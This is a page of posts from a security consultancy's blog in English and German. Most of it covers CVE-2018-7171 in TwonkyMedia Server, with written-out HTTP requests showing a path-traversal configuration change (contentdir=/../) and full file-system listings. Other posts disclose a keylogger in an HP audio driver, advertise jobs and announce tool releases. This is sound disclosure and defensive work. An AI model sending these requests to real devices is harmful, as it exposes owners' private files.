2018-06-06

[EN] Sharing Is Caring - A CVE-2018-7171 Round-up

Eine Deutsche Version befindet sich hier – German version is located right here

When your NAS shares the pictures of your vacation with the Internet

This blog post describes the vulnerability CVE-2018-7171 in TwonkyMedia Server version 7.0.11-8.5, which is e.g. installed on WD MyCloud devices. The vulnerability allows the listing of all files stored on the device, which is running the TwonkyMedia Server. Furthermore, an attacker who takes advantage of the vulnerability can download all media files e.g. pictures, videos and music that are stored on the device and on connected USB drives. The root cause of the vulnerability is the missing authorization and input validation of configuration parameters in the Twonky Media Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Extract TwonkyMedia Server

According to the distributors statement, TwonkyMedia Server will index and play media files. The indexed files can be "streamed" to other connected network devices, this means other network devices can download and play these files.

TwonkyMedia Server is pre-installed on many devices. Furthermore, a lot of routers automatically forward the DLNA-media streaming port, in this case port 9000, therefore that port is accessible via the internet. Researches on shodan.io showed, that in January 2018 around 24'000 TwonkyMedia Server-Instances were public accessible where. Only around three percent of these installations were password protected against unauthenticated access.

The following extract shows devices, that were running TwonkyMedia Server:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

To better understand how the TwonkyMedia Server works, the traffic was intercepted with Burp Suite. The researcher discovered, that not only directory names, but also file names were returned in the server’s responses, but they were not shown in the UI.

The following HTTP-sequence shows such a request and the response of the TwonkyMedia Server.

HTTP request:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

The example shows, that the TwonkyMedia Server only responded with the shared folder structure, that was defined in the NAS. Furthermore, the download of all media files indexed in these directories is possible (see TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

A HTTP request on the following URL returns all configurable parameters for TwonkyMedia Server:

This list contains some parameters that are not configurable by the TwonkyMedia Server UI. What happens if we try to manipulate them anyway?

If you set the parameter contentdir to "/../" you can discover the whole file systems content.

HTTP request:

POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

The following example shows the response after the contentdir parameter patch:

HTTP request:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

After patching the contentdir parameter, you can go to TwonkyMedia Server configuration, here you can choose every folder available on the filesystem for indexing the media files. Once the media files are indexed (can be triggered manually, or just wait a couple of minutes) you can download the content.

For patching the contentdir parameter and filesystem discovery this Proof-of-Concept can be used. The repository also contains a batch download script

If an attacker takes advantage of this vulnerability he/she can not only dig deep into the privacy of his target but may also use this vulnerability to mount further attacks on the target system. For example, this information can be used to attack and maybe take over the device via other services, e.g. webservers.

If your device is running TwonkyMedia Server version 7.0.11-8.5, you should consider your media content as no longer private. You can easily check if your device is running the service by browsing the following URL in your favorite web browser http://deviceIP:9000/. Since TwonkyMedia Server sometimes use other ports than 9000 here is a list of other discovered ports: 9000, 9001, 9002, 9003, 9004 and 9005. Sometimes the TwonkyMedia Server installation uses HTTPS, so you have to set the protocol to https, e.g. https://deviceIP:9002. You may want to check if your TwonkyMedia Server is exposed in the Internet, you can easily find your public ip by browsing http://ipinfo.io/ip. Replace deviceIP from the previous example with your public IP.

modzero recommends protecting TwonkyMedia Server installation with a password, or to switch of DLNA-media streaming if you don't need this feature. For detailed information on how to switch of DLNA-media streaming please contact the device manufacturer.


Posted by Sven Fassbender | Permanent link | File under: security, software, advisory

2018-06-04

Sharing Is Caring - Ein CVE-2018-7171 Round-up

Eine Englische Version befindet sich hier – English version is located right here

Wenn die Festplatte im Heimnetz die Urlaubsbilder mit dem Internet teilt

Dieser Blog-Eintrag behandelt die Schwachstelle CVE-2018-7171 im TwonkyMedia Server Versionen 7.0.11-8.5, welcher beispielsweise auf WD MyCloud-Geräten vorinstalliert ist. Diese ermöglicht das Auflisten aller auf den Geräten vorhandenen Dateien und Ordnern. Darüber hinaus ist es einem Angreifer nach dem Ausnützen der Schwachstelle möglich alle Mediendateien (Fotos, Videos und Musik) von den betroffenen Geräten und angeschlossener Peripherie (externe Festplatten, USB-Sticks, ...) herunterzuladen. Ursache für die Schwachstelle ist die fehlende Authorisierung und Eingabevalidierung beim Setzen der Konfigurationsparameter für den sogenannten TwonkyMedia Server.

"With Twonky from Lynx Technology, you can quickly discover your media libraries of digital videos, photos and music in your home, control them from mobile devices, and enjoy them on connected screens and speakers.Twonky Server is the industry leading DLNA/UPnP Media Server from Lynx Technology that enables sharing media content between connected devices. Twonky Server is used worldwide and is available as a standalone server (end user installable, e.g. for PCs/Macs) or an embedded server for devices such as NAS, routers/gateways and STBs.Twonky Server's web UI provides optimal capability for you to easily and reliably control and play back your media files in a variety of ways, and to "beam" those media files to other connected devices." --Auszug TwonkyMedia Server

Wie der Aussage des Hertstellers entnommen werden kann, dient der TwonkyMedia Server der Indexierung und Wiedergabe von Mediendateien. Diese können im Netzwerk "gebeamt" werden, sprich andere Netzwerkteilnehmer können diese auch wiedergeben oder downloaden.

Der TwonkyMedia Server ist auf zahlreichen Geräten vorinstalliert. Darüber hinaus leiten eine vielzahl von Routern den DLNA-Medienstreaming-Port, in diesem Fall Port 9000, automatisch weiter, wodurch dieser vom Internet aus erreichbar ist. Nachforschungen auf shodan.io haben ergeben, dass im Januar 2018 rund 24'000 TwonkyMedia Server-Instanzen öffentlich erreichbar waren. Nur ein Bruchteil der Installationen, rund drei Prozent, waren durch einen unauthorisierten Zugriff mittels eines Passwortes geschützt.

Im folgenden eine Auflistung der Geräte auf denen TwonkyMedia Server identifiziert wurden:

  • Thecus N2310
  • Thecus N4560
  • WDMyCloud
  • MyCloudEX2Ultra
  • WDMyCloudEX4
  • WDMyCloudEX2100
  • QNAP
  • Zyxel NAS326
  • Zyxel NAS542
  • Zyxel NSA310
  • Zyxel NSA310S
  • Zyxel NSA320
  • Zyxel NSA325-v2
  • Belkin routers
  • Zyxel EMG2926-Q10A
  • ...

Um die Funktionsweise des TwonkyMedia Servers besser verstehen zu können, wurde der HTTP-Verkehr im Burp Suite mitverfolgt. Dabei wurde deutlich, dass in den Antworten des Webservers nicht nur die verfügbaren Ordner, sondern auch Dateien enthalten waren. Von der UI dargestellt wurden jedoch nur die Ordner.

Im folgenden HTTP-Verlauf wird eine solche Anfrage und die dazugehörige Antwort des TwonkyMedia Servers dargestellt.

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: */*
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: en
Content-Length: 83
Date: Thu, 18 Jan 2018 12:16:43 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001DNas_Prog
002DPublic
003Fraid_version.txt
004DSmartWare
005DTimeMachineBackup

Das vorherige Beispiel zeigt, dass bisher nur die Verzeichnisstruktur der im NAS als geteilte Ordner definierten Verzeichnisse eingesehen werden konnte. Darüber hinaus ist der Download aller indexierten Medieninhalte möglich (siehe TrustWave - WD-My-Cloud-EX2-Serves-Your-Files-to-Anyone)

Eine HTTP Anfrage an die folgende Adresse lieferte eine Übersicht aller Konfigurationsparameter des TwonkyMedia Servers:

Diese sehr umfangreiche Liste enthielt einige Parameter, die nicht über den TwonkyMedia Webserver konfiguriert werden konnten. Was nun, wenn man diese Parameter dennoch manipuliert?

Setzt man den Parameter contentdir auf "/../" so ist es zukünftig möglich das Gesamte Dateisystem zu erkunden:

HTTP Anfrage:

POST /rpc/set_all HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 19
DNT: 1
Connection: close

contentdir=/../

Das folgende Beispiel zeigt die Antwort nach dem Patch des Parameters contentdir:

HTTP Anfrage:

GET /rpc/dir?path= HTTP/1.1
Host: 192.168.188.9:9000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.188.9:9000/
X-Requested-With: XMLHttpRequest
DNT: 1
Connection: close

HTTP Antwort:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Language: de
Content-Length: 243
Date: Wed, 28 Mar 2018 02:28:12 GMT
Accept-Ranges: bytes
Connection: close
Expires: 0
Pragma: no-cache
Cache-Control: no-cache
EXT:
Server: Linux/2.x.x, UPnP/1.0, pvConnect UPnP SDK/1.0, Twonky UPnP SDK/1.1

/
001D/
002D/bin
003D/boot
004D/CacheVolume
005D/DataVolume
006D/dev
007D/etc
008D/home
009D/lib
010D/media
011D/mnt
012D/nfs
013D/opt
014D/proc
015D/root
016D/run
017D/sbin
018D/shares
019D/srv
020D/sys
021D/system
022D/tmp
023D/usr
024D/var

Nachdem der Parameter contentdir gepatcht wurde, ist es nun möglich in der TwonkyMedia Server konfigurationsseite jeden beliebigen Ordner für die Indexierung der Medieninhalte anzugeben. Nachdem der TwonkyMedia Server die indexierung vorgenommen hat können die Dateien einfach heruntergeladen oder betrachtet werden.

Für das patchen des contentdir Parameters und das Erkunden des Dateisystemes kann dieser Proof-of-Concept verwendet werden.

Mit dem Ausnützen dieser Schwachstelle ist es Angreifern somit nicht nur möglich tief in die Privatsphäre Ihrer Ziele einzudringen, sondern sie kann auch genutzt werden um weitere Angriffstechniken zu unterstützen. Beispielsweise kann ein Angreifer auf interne Informationen anderer Webserver, die auf dem Gerät laufen zugreifen, die zur kompletten Übernahme des Gerätes führen können.

Sollten eines Ihrer Geräte einen TwonkyMedia Server Version 7.0.11-8.5 betreiben, sehen Sie alle Medieninhalte auf dem Gerät als nicht länger privat an. Sie können prüfen, ob ein TwonkyMedia Server läuft, indem sie die folgende URL in ihrem Webbrowser eingeben http://IpDesNAS:9000. Da der TwonkyMedia Server auch auf anderen Ports vorgefunden wurde hier eine Auflistung aller enumerierten TwonkyMedia Server ports: 9000, 9001, 9002, 9003, 9004 und 9005. Teilweise ist der TwonkyMedia Server nicht per HTTP sondern nur per HTTPS erreichbar. Hierfür als URL folgendes verwenden https://IpDesNAS:9002. "IpDesNAS" können Sie auch durch die öffentliche IP-Adresse Ihres Routers ersetzen. Um die öffentliche IP-Adresse Ihres Routers herauszufinden können sie Beispielsweise http://ipinfo.io/ip im Webbrowser öffnen.

modzero empfiehlt TwonkyMedia Server-installationen mit einem Passwort zu schützen oder das DLNA-Medienstreaming zu deaktivieren, falls dieses nicht benötigt wird.


Posted by Sven Fassbender | Permanent link

2018-03-20

Uncle Kerckhoffs wants YOU!

You're a hacker from the bottom of your heart? You don't mind moving to Berlin or Zurich? We'd like to have a chat with you!

We're currently looking for talented hackers to extend our teams in Berlin and Zurich/Winterthur.

IT-Security Analyst - Generalist with focus on certain in-depth areas

You already have experience, working as IT Security Consultant or managing product security in soft- and hardware manufacturing companies. In addition to a broad knowledge in general IT-security related areas, you also have the vision to deepen your knowledge on specific topics.

The most important skills that are required are the following:

  • Penetration Testing — you know the tools that assists with all sorts of penetration tests, and you know how to read its resulting output.
  • Threat-Modeling and Risk-Assessments — the skill to prepare your tools and targets in a structured manner.
  • Creativity — the skill to spot that thing, that turns an objective into something broken.
  • Reporting — Explain, write and defend your findings. The skill to push the business-value of your other skills. You must be able to perform proper reporting in English or German language.
  • Passion — your personal security deep-dive: a technology or methodology you're focusing on.

In addition to these must-have skills, the following are nice to have:

  • Reverse Engineering — the art of illuminating the dark corners of binary code & data, communication protocols and hardware-solutions.
  • Source Code Assessments in C, C++, C#, Java, Swift, Objective-C, JavaScript.
  • Cryptography — it's definitely a super-bonus, if your eyebrow raises when you hear people saying the product is secure because of cryptography. You know how to spot and exploit potential side-channels, and how to properly use certain cryptographic algorithms.

Junior Hacker

If you don't have the business experience of a consultant, we may want you to extend our team as a Junior Security Consultant. If you bring the necessary skills, we may close the gaps, supporting you with specializing on certain areas in the IT security industry.

What do you need?

  • Passion — You bring the vision and we'll help you, turning it into a professional service.
  • Creativity — What could possibly go wrong? You have the idea, already.
  • Patience — Breaking the unbreakable stuff. Your tenacity is the door-opener to the wonderful world of destruction.

... and of course, quite some technological background.

Your tasks

  • Black-/White-/Gray-Box Penetration Tests of networks, services and solutions.
  • Review of software and hardware components in source-code and/or binary form.
  • Threat Analysis along with the individual business-model of our clients.
  • Review of white-papers, architectural- and design-specs and continuous support during the whole Product Development Lifecycle processes.

Our tasks

modzero provides IT security consulting to customers from different civil sections and industries. We reject working on offensive and defensive technologies with military, intelligence, or police investigation. We discuss all governmental inquiries with our colleagues.

This is what we will take care of:

  • You work with a great and open-minded team in Switzerland and Germany.
  • Your time: If you want to work part-time, talk to us.
  • Research — we support your project and your development with research-time.
  • Insights into a broad range of interesting, different industries and technologies.
  • Regular internal company meetups with workshop-program and good food.
  • Salary — we pay for your skills and execute regular, individual interviews on development and expectation of employees.

Application

Please send your application to jobs [at] modzero [dot] ch. Use PGP to sign and encrypt your documents — Find our PGP key right here: https://www.modzero.ch/pgp/jobs_modzero.ch.asc If you'd rather work as a freelancing hired gun, let us know why and don't hesitate to send your resume.


Posted by modzero | Permanent link | File under: modzero, staff

2018-02-14

Release of some security tools

At modzero we do a lot of security testing and, on a regular basis, we write tools to do our work more efficiently. This week Jan Girlich and Tobias Ospelt of modzero took some time to review some of their tools and make three of them available to the public on GitHub.

Jan wrote a Proof of Concept (PoC) Android app that allows exploiting Java object deserialization vulnerabilities in Android and named this project modjoda (modzero Java Object Deserialization on Android). To test the issue, he also wrote a vulnerable demo application to try the exploit on.

mod0schubser was written by Tobias and provides a simple TCP- and TLS-level Man-In-The-Middle (MITM) proxy for people with Python experience. It can be used when all the other proxy tools seem to be too complicated. Additionally, he wrote mod0cookiedealer, a tool to demonstrate the impact of missing HTTP cookie flags (secure and HTTPonly). If you remember Firesheep, mod0cookiedealer is simply a modern implementation of Firesheep as a browser web-extension.


Posted by Jan Girlich, Tobias Ospelt | Permanent link | File under: mobile, security, opensource, software, github

2017-05-16

[EN] Update: Keylogger in Hewlett-Packard Audio Driver

Eine Deutsche Version befindet sich hier – German version is located right here

On May 11th, we published information about a questionable function in an HP audio driver package. This function included a keylogger that has been implemented unintentionally by 3rd party vendor Conexant and was delivered by HP to its customers. In the meantime, HP has fixed the issue.

On the same day of our initial release, HP has released a new driver package. However, we were not as fast with checking the provided patches, but finally we had a quick look on the patches on May 13th.

Unfortunately, HP still did not try to get in touch with us, otherwise we could have contacted HP directly with information that the update still provides the keylogging functions.

The keylogger was still there and had to be activated only by a switch in the Windows Registry. Thus, it is basically just an additional line of program code necessary, to repurpose the MicTray64 program and turn it into a remotely key-logging malware, as described in this very recommendable article.

On May 14th, HP again released an update in which the questionable debugging features, which turned the software effectively into a keylogger, were removed.

Meanwhile, HP also contacted us, which we appreciate much. Finally, the keylogging thing in the HP audio driver package is no longer an issue. Hewlett-Packard has published its own security bulletin and we updated our Security Advisory at https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt as well.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-16

[DE] Update: Keylogger in Hewlett-Packard Audio-Treiber

Eine Englische Version befindet sich hier – English version is located right here

Am 11. Mai 2017 haben wir Informationen über eine fragwürdige Funktion in einem Audio-Treiber-Paket von HP veröffentlicht. Bei dieser Funktion handelte es sich um einen versehentlich eingebauten Keylogger, der in einem Programm des Herstellers Conexant implementiert und von HP an seine Kunden ausgeliefert wurde. HP hat das Problem nun behoben.

Noch am gleichen Tag unserer ersten Veröffentlichung hat HP ein neues Treiber-Paket veröffentlicht. Nicht ganz so schnell waren wir mit der Überprüfung des bereitgestellten Patches, und so haben wir uns erst am 13. Mai das Update angeschaut.

HP hatte bis dahin leider immer noch keinen Kontakt zu uns aufgenommen, sonst hätten wir die Information, dass das Update immer noch die Keylogging-Funktionen bereitstellt, direkt mitteilen können.

Der Keylogger war also immer noch vorhanden und musste nur über einen Schalter in der Windows Registry aktiviert werden. Es ist also im Grunde einfach eine Zeile Programmcode mehr notwendig, wenn man das MicTray64 Programm zweckentfremdet, wie in diesem sehr lesenswerten Artikel beschrieben wird.

Am 14. Mai veröffentlichte HP dann erneut ein Update, in dem die fraglichen Debug-Funktionen, die aus der Software effektiv einen Keylogger machten, entfernt waren.

Mittlerweile hat HP uns auch kontaktiert, was uns natürlich freut. Nun dürfte die Sache mit dem Keylogger im HP Audio-Treiber-Paket also vom Tisch sein. Hewlett-Packard hat ein eigenes Security-Bulletin veröffentlicht, und wir haben unser Security Advisory unter https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt angepasst.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-11

[EN] Keylogger in Hewlett-Packard Audio Driver

Eine Deutsche Version befindet sich hier – German version right here

Security reviews of modern Windows Active Domain infrastructures are – from our point of view – quite sobering. Therefore, we often look left and right, when, for example, examining the hardening of protection mechanisms of a workstation. Here, we often find all sorts of dangerous and ill-conceived stuff. We want to present one of these casually identified cases now, as it's quite an interesting one: We have discovered a keylogger in an audio driver package by Hewlett-Packard.

A keylogger is a piece of software for which the case of dual-use can rarely be claimed. This means there are very few situations where you would describe a keylogger that records all keystrokes as 'well-intended'. A keylogger records when a key is pressed, when it is released, and whether any shift or special keys have been pressed. It is also recorded if, for example, a password is entered even if it is not displayed on the screen.

So what's the point of a keylogger in an audio driver? Does HP deliver pre-installed spyware? Is HP itself a victim of a backdoored software that third-party vendors have developed on behalf of HP? The responsibility in this case is uncertain, because the software is offered by HP as a driver package for their own devices on their website. On the other hand, the software was developed and digitally signed by the audio chip manufacturer Conexant.

Conexant is a manufacturer of integrated circuits, emerging from a US armaments manufacturer. Primarily, they develop circuits in the field of video and audio processing. Thus, it is not uncommon for Conexant audio ICs to be populated on the sound cards of computers of various manufacturers. Conexant also develops drivers for its audio chips, so that the operating system is able to communicate with the hardware. Apparently, there are some parts for the control of the audio hardware, which are very specific and depend on the computer model - for example special keys for turning on or off a microphone or controlling the recording LED on the computer. In this code, which seems to be tailored to HP computers, there is a part that intercepts and processes all keyboard input.

Actually, the purpose of the software is to recognize whether a special key has been pressed or released. Instead, however, the developer has introduced a number of diagnostic and debugging features to ensure that all keystrokes are either broadcasted through a debugging interface or written to a log file in a public directory on the hard-drive.

This type of debugging turns the audio driver effectively into a keylogging spyware. On the basis of meta-information of the files, this keylogger has already existed on HP computers since at least Christmas 2015.

Verifying: MicTray64.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha1): 3FE5F7704DF5989717A029BC3DA99527373797D2
 
Signing Certificate Chain:
[...]
            Issued to: Conexant Systems, Inc.
            Issued by: VeriSign Class 3 Code Signing 2010 CA
            Expires:   Mon Jul 03 01:59:59 2017
            SHA1 hash: 505507C3221B63E658D197E75EAEE0D3BC100F6C
 
The signature is timestamped: Thu Dec 24 10:07:19 2015
Timestamp Verified by:
    Issued to: Thawte Timestamping CA
    Issued by: Thawte Timestamping CA
    Expires:   Fri Jan 01 01:59:59 2021
    SHA1 hash: BE36A4562FB2EE05DBB3D32323ADF445084ED656
[...]

Version 1.0.0.31 of this program was later extended by even more problematic functions: The most recent version 1.0.0.46 implements the logging of all keystrokes into the publicly for any user readable file C:\Users\Public\MicTray.log. Although the file is overwritten after each login, the content is likely to be easily monitored by running processes or forensic tools. If you regularly make incremental backups of your hard-drive - whether in the cloud or on an external hard-drive – a history of all keystrokes of the last few years could probably be found in your backups.

There is no evidence that this keylogger has been intentionally implemented. Obviously, it is a negligence of the developers - which makes the software no less harmful. If the developer would just disable all logging, using debug-logs only in the development environment, there wouldn't be problems with the confidentiality of the data of any user.

Neither HP Inc. nor Conexant Systems Inc. have responded to any contact requests. Only HP Enterprise (HPE) refused any responsibility, and sought contacts at HP Inc. through internal channels.

Therefore, we are now publishing this information in accordance with our Responsible Disclosure process, even if the HP and Conexant issues are neither confirmed nor corrected by the affected vendors.

All users of HP computers should check whether the program C:\Windows\System32\MicTray64.exe or C:\Windows\System32\MicTray.exe is installed. We recommend that you delete or rename the executable files so that no keystrokes are recorded anymore. However, the special function keys on the keyboards might no longer work as expected. If a C:\Users\Public\MicTray.log file exists on the hard-drive, it should also be deleted immediately, as it can contain a lot of sensitive information such as login-information and passwords.

The exact technical details and documents can be found in our Security Advisory https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2017-05-11

[DE] Keylogger in Hewlett-Packard Audio-Treiber

Eine Englische Version befindet sich hier – English version is located right here

Sicherheitsanalysen von modernen Windows-Domain-Infrastrukturen sind – aus unserer Sicht – zuweilen recht ernüchternd. Daher schauen wir oft auch nach links und rechts, wenn wir beispielsweise die Härtung der Schutzmechanismen eines Clients begutachten. Hierbei finden wir oft allerlei Gefährliches und schlecht Durchdachtes. Einen dieser beiläufig gefundenen Fälle wollen wir jetzt aufzeigen, denn der hat es in sich: Wir haben einen Keylogger in einem Audio-Treiber-Paket von HP gefunden.

Ein Keylogger ist eine Software, für die selten der Anspruch des Dual-Use erhoben werden kann. Das bedeutet, es gibt nur sehr wenige Situationen, in denen man einen Keylogger der alle Tastatur-Anschläge aufzeichnet, als "gutartig" bezeichnen würde. Ein Keylogger zeichnet auf, wenn eine Taste gedrückt wurde, wenn sie losgelassen wird, und ob irgendwelche Umschalt- oder Sonder-Tasten betätigt wurden. Auch, wenn beispielsweise ein Passwort eingegeben wird und dieses nicht am Bildschirm dargestellt wird.

Was hat also ein Keylogger in einem Audio-Treiber verloren? Liefert HP vorinstallierte Spähsoftware aus? Ist HP selbst Opfer einer Software mit Hintertür, die Drittanbieter im Auftrag von HP entwickelt haben? Die Verantwortlichkeit ist in diesem Fall unklar, denn die Software wird zwar von HP auf deren Webseite als Treiberpaket für die eigenen Computer zum Download angeboten, andererseits wurde die Software vom Audio-Chip Hersteller Conexant programmiert und digital signiert.

Conexant ist ein aus einem US-amerikanischen Rüstungskonzern hervorgegangener Hersteller von integrierten Schaltungen. Primär werden Schaltungen im Bereich der Video- und Audio-Verarbeitung entwickelt. So ist es also nicht selten, dass Conexant Audio-ICs in den Soundkarten der Computer diverser Hersteller verbaut werden. Conexant entwickelt für seine Audio-Chips auch Treiber, damit das Betriebssystem in der Lage ist, mit der Hardware zu kommunizieren. Anscheinend gibt es aber für manche Teile zur Steuerung der Audio-Hardware auch sehr spezifische Teile, die von dem Computermodell abhängen - also beispielsweise spezielle Tasten für die Aktivierung oder Deaktivierung eines Mikrofons oder die Ansteuerung der Aufnahme-LED am Rechner. In genau diesem Code der scheinbar auf HP-Rechner zugeschnitten ist, findet sich nun ein Teil, der sämtliche Taststatur-Eingaben abfängt und weiterverarbeitet.

Eigentlich besteht der Sinn der Software darin zu erkennen, ob eine Sondertaste gedrückt wurde. Stattdessen hat jedoch der Entwickler einige Diagnose- und Debugging-Funktionen eingefügt, die dafür sorgen, dass sämtliche Tastatureingaben entweder über eine Debugging-Schnittstelle herausposaunt werden oder in eine Log-Datei in einem öffentlichen Verzeichnis geschrieben werden.

Diese Art des Debuggings macht aus dem Audio-Treiber effektiv einen Keylogger. Anhand der Meta-Informationen der Dateien existiert dieser Keylogger schon seit mindestens Weihnachten 2015 auf HP-Rechnern.

Verifying: MicTray64.exe
Signature Index: 0 (Primary Signature)
Hash of file (sha1): 3FE5F7704DF5989717A029BC3DA99527373797D2
 
Signing Certificate Chain:
[...]
            Issued to: Conexant Systems, Inc.
            Issued by: VeriSign Class 3 Code Signing 2010 CA
            Expires:   Mon Jul 03 01:59:59 2017
            SHA1 hash: 505507C3221B63E658D197E75EAEE0D3BC100F6C
 
The signature is timestamped: Thu Dec 24 10:07:19 2015
Timestamp Verified by:
    Issued to: Thawte Timestamping CA
    Issued by: Thawte Timestamping CA
    Expires:   Fri Jan 01 01:59:59 2021
    SHA1 hash: BE36A4562FB2EE05DBB3D32323ADF445084ED656
[...]

Die Version 1.0.0.31 dieses Programms wurde später um noch problematischere Funktionen erweitert: Die aktuellste Version 1.0.0.46 implementierte das Protokollieren aller Tastatur-Anschläge in die öffentliche, für jeden Benutzer lesbare Datei C:\Users\Public\MicTray.log. Zwar wird die Datei nach jedem Login überschrieben, dennoch dürften die Inhalte für laufende Prozesse oder Forensiker leicht zu überwachen sein. Wer regelmäßig inkrementelle Backups seiner Festplatte macht - egal ob in der Cloud oder auf einem externen Datenträger - dürfte ein Keylogger-Protokoll der letzten Jahre in seinen Backups finden können.

Es gibt keine Hinweise darauf, dass dieser Keylogger mutwillig eingebaut wurde. Augenscheinlich handelt es sich um eine Nachlässigkeit der Entwickler – was die Software jedoch nicht weniger schädlich macht. Wenn der Entwickler auf das Logging verzichten würde und dies nur in der Entwicklungsumgebung täte, gäbe es keinerlei Probleme mit der Vertraulichkeit der Daten eines Benutzers.

Weder HP Inc. noch Conexant Systems Inc. hat auf Kontaktanfragen reagiert. Lediglich HP Enterprise (HPE) wies die Zuständigkeit von sich und bemühte sich über interne Kanäle um einen Ansprechpartner bei HP Inc.

Daher veröffentlichen wir diese Informationen nun gemäß unseres Responsible-Disclosure-Prozesses, auch wenn die Probleme von HP und Conexant weder bestätigt noch behoben wurden.

Alle Nutzer von HP-Computer sollten prüfen, ob das Programm C:\Windows\System32\MicTray64.exe oder C:\Windows\System32\MicTray.exe installiert ist. Wir empfehlen, diese zu löschen oder umzubenennen, damit keine Taststatur-Anschläge mehr aufgezeichnet werden. Allerdings dürften die Sonderfunktions-Tasten auf den Keyboards dann auch nicht mehr wie gewohnt funktionieren. Sollte eine Datei C:\Users\Public\MicTray.log existieren, so sollte auch diese umgehend gelöscht werden, da sie zahlreiche sensible Informationen wie Passwörter enthalten kann.

Die genauen technischen Details und Belege finden sich in unserem Security-Advisory https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt.


Posted by Thorsten Schroeder | Permanent link | File under: security, re, advisory

2016-12-23

iOS TLS session resumption race condition

Roughly three months ago when iOS 9 was still the newest version available for the iPhone, we encountered a bug in the Twitter iOS app. When doing a transparent proxy setup for one of our iOS app security tests, a Twitter HTTPS request turned up in the Burp proxy log. This should never happen, as the proxy's HTTPS certificate is not trusted on iOS and therefore connections should be rejected. Being shocked, we checked that certainly we did not install the CA certificate of the proxy on the iPhone and verified with a second non-jailbroken iPhone. The bug was repoducible on iOS 9.3.3 and 9.3.5.

